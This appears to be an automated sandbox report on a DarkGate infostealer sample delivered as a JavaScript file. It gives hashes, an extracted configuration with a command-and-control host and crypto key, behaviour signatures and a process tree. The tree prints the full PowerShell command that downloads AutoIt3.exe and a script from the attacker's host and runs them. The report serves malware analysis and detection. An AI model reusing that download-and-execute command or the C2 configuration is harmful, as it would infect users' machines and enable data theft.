Analysis

  • max time kernel
    133s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231025-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231025-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-11-2023 14:12

General

  • Target

    app(060e45bf7b57d4).js

  • Size

    252KB

  • MD5

    b428fd3b31d80dbdbbe4ee4949cfbe54

  • SHA1

    3f39780bffd9b6b04dba52843622497606808020

  • SHA256

    16613e7c07681726ab577e6ac14114cb42691838fa3c6c4c1bef7dafa2c7c4a0

  • SHA512

    dd77e51e0d6c573d7fe7a3d5ac50b23fe0d81a3323ad89f80a8a3eadd61dc2cff9a6f86ea7632315ec3549e7528053b3634ebc8aec158a3023ca434ea85988c3

  • SSDEEP

    6144:Fe7hgXeerjqlI2Iro+lJe7hgXeerjqlI2Iro+8:FIhgSlI23mJIhgSlI23V

Score
10/10

Malware Config

Extracted

Family

darkgate

Botnet

ADS5

C2

http://siliconerumble.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    true

  • anti_debug

    true

  • anti_vm

    true

  • c2_port

    443

  • check_disk

    true

  • check_ram

    true

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    zSfdFmnnAquXKs

  • internal_mutex

    txtMut

  • minimum_disk

    32

  • minimum_ram

    6003

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    ADS5

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\app(060e45bf7b57d4).js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3620
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://siliconerumble.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://siliconerumble.com:443/msitotdjhak' -OutFile 'totdjhak.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'totdjhak.au3'"; Stop-Process -Name "WScript"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4632
      • C:\tepp\AutoIt3.exe
        "C:\tepp\AutoIt3.exe" totdjhak.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:4296
  • C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
    1⤵
      PID:4080
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k UnistackSvcGroup
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3348

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Comms\UnistoreDB\store.jfm

      Filesize

      16KB

      MD5

      dcf919010eea85605ff3d15222c5f07d

      SHA1

      498fe3a129d00c8aafe68a436d2e4a258b20ef56

      SHA256

      c6d22c1a43dab8419c59f2a1670c0660b9a75ac992fd36b526c338cf6307d44c

      SHA512

      49e367c51998ed7cf3a168166e9bff1d5bf7f0eb9f4e5f4d9531eba7d46e95e39b1aaeb7e6f0f92429dd9daafb43e7802b9850e82df73c052d8e0f63a812ca5c

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ks54hgck.wt1.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\tepp\AutoIt3.exe

      Filesize

      872KB

      MD5

      c56b5f0201a3b3de53e561fe76912bfd

      SHA1

      2a4062e10a5de813f5688221dbeb3f3ff33eb417

      SHA256

      237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

      SHA512

      195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

    • C:\tepp\AutoIt3.exe

      Filesize

      872KB

      MD5

      c56b5f0201a3b3de53e561fe76912bfd

      SHA1

      2a4062e10a5de813f5688221dbeb3f3ff33eb417

      SHA256

      237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

      SHA512

      195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

    • C:\tepp\totdjhak.au3

      Filesize

      508KB

      MD5

      1df0df7aa48965762597452d418db3f3

      SHA1

      6b2137d66246ad3c994a28141736bc707c88184b

      SHA256

      52a1722f0614e1c88473f4240ca1f5ac06d952159236014ef721598bc0889408

      SHA512

      19dbca338a166d355f1d7ed05801e212995053df3805d53decd8898bdd84807a2b0b2d827c277909dd9dd9b5999886117a12812b1c1f05ea988a8a2c701aa39e

    • memory/3348-68-0x0000018FCA720000-0x0000018FCA721000-memory.dmp

      Filesize

      4KB

    • memory/3348-70-0x0000018FCA720000-0x0000018FCA721000-memory.dmp

      Filesize

      4KB

    • memory/3348-101-0x0000018FCA5B0000-0x0000018FCA5B1000-memory.dmp

      Filesize

      4KB

    • memory/3348-100-0x0000018FCA4A0000-0x0000018FCA4A1000-memory.dmp

      Filesize

      4KB

    • memory/3348-99-0x0000018FCA4A0000-0x0000018FCA4A1000-memory.dmp

      Filesize

      4KB

    • memory/3348-97-0x0000018FCA490000-0x0000018FCA491000-memory.dmp

      Filesize

      4KB

    • memory/3348-85-0x0000018FCA290000-0x0000018FCA291000-memory.dmp

      Filesize

      4KB

    • memory/3348-82-0x0000018FCA350000-0x0000018FCA351000-memory.dmp

      Filesize

      4KB

    • memory/3348-33-0x0000018FC2040000-0x0000018FC2050000-memory.dmp

      Filesize

      64KB

    • memory/3348-49-0x0000018FC2140000-0x0000018FC2150000-memory.dmp

      Filesize

      64KB

    • memory/3348-65-0x0000018FCA710000-0x0000018FCA711000-memory.dmp

      Filesize

      4KB

    • memory/3348-66-0x0000018FCA720000-0x0000018FCA721000-memory.dmp

      Filesize

      4KB

    • memory/3348-67-0x0000018FCA720000-0x0000018FCA721000-memory.dmp

      Filesize

      4KB

    • memory/3348-79-0x0000018FCA360000-0x0000018FCA361000-memory.dmp

      Filesize

      4KB

    • memory/3348-69-0x0000018FCA720000-0x0000018FCA721000-memory.dmp

      Filesize

      4KB

    • memory/3348-77-0x0000018FCA350000-0x0000018FCA351000-memory.dmp

      Filesize

      4KB

    • memory/3348-71-0x0000018FCA720000-0x0000018FCA721000-memory.dmp

      Filesize

      4KB

    • memory/3348-72-0x0000018FCA720000-0x0000018FCA721000-memory.dmp

      Filesize

      4KB

    • memory/3348-73-0x0000018FCA730000-0x0000018FCA731000-memory.dmp

      Filesize

      4KB

    • memory/3348-74-0x0000018FCA730000-0x0000018FCA731000-memory.dmp

      Filesize

      4KB

    • memory/3348-75-0x0000018FCA730000-0x0000018FCA731000-memory.dmp

      Filesize

      4KB

    • memory/3348-76-0x0000018FCA360000-0x0000018FCA361000-memory.dmp

      Filesize

      4KB

    • memory/4296-32-0x0000000003F40000-0x00000000040D5000-memory.dmp

      Filesize

      1.6MB

    • memory/4296-31-0x0000000003F40000-0x00000000040D5000-memory.dmp

      Filesize

      1.6MB

    • memory/4296-30-0x0000000003890000-0x0000000003990000-memory.dmp

      Filesize

      1024KB

    • memory/4632-13-0x000001D3D2A10000-0x000001D3D2A20000-memory.dmp

      Filesize

      64KB

    • memory/4632-0-0x000001D3ED130000-0x000001D3ED152000-memory.dmp

      Filesize

      136KB

    • memory/4632-10-0x00007FFE33640000-0x00007FFE34101000-memory.dmp

      Filesize

      10.8MB

    • memory/4632-11-0x000001D3D2A10000-0x000001D3D2A20000-memory.dmp

      Filesize

      64KB

    • memory/4632-27-0x00007FFE33640000-0x00007FFE34101000-memory.dmp

      Filesize

      10.8MB

    • memory/4632-12-0x000001D3D2A10000-0x000001D3D2A20000-memory.dmp

      Filesize

      64KB